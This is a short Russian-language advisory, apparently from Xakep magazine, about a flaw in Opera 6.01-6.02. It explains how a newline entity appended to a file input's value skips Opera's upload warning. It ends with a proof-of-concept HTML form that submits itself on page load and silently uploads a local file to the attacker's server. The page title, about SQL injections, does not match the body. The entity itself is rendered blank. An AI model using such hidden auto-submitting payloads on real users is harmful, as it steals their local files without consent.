Xakep #305. Многошаговые SQL-инъекции
Opera, подобно большинством браузерам, поддерживает элемент <input type="file">, который используется для загрузки файлов на HTTP сервер. Так как элемент file очень чувствительный для безопасности, большинство web-браузеров не позволяет устанавливать атрибут "value" (если это удастся, то злонамеренный Web cервер может загружать произвольный локальный файл,
через форму).
В Opera атрибут "value" может быть установлен, но перед отправкой на сервер, пользователю будет выдано предупреждение: "The files listed below have been selected, without your intervention, to be sent to another computer. Do you want to send these
files?"
Если добавить простой " " (HTML объект, который соответствует ASCII коду символа новой строки (new-line)) к концу атрибута
"value" элемента file, то алгоритм безопасности Opera посчитает, что никакие файлы небыли
переданы, и предупреждение не будет отображено. Опера просто представит форму с желательным файлом, выбранным нападающим.
Уязвимость обнаружена в Opera version 6.01-6.02 (версии до 6.01 не подвержены этой уязвимости).
Пример (доставит файл c:/test.txt атакующему серверу):
<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php"
name="secForm">
<input type="file" name="expFile" value="c:\test.txt"
style="visibility:hidden">
</form>
</body>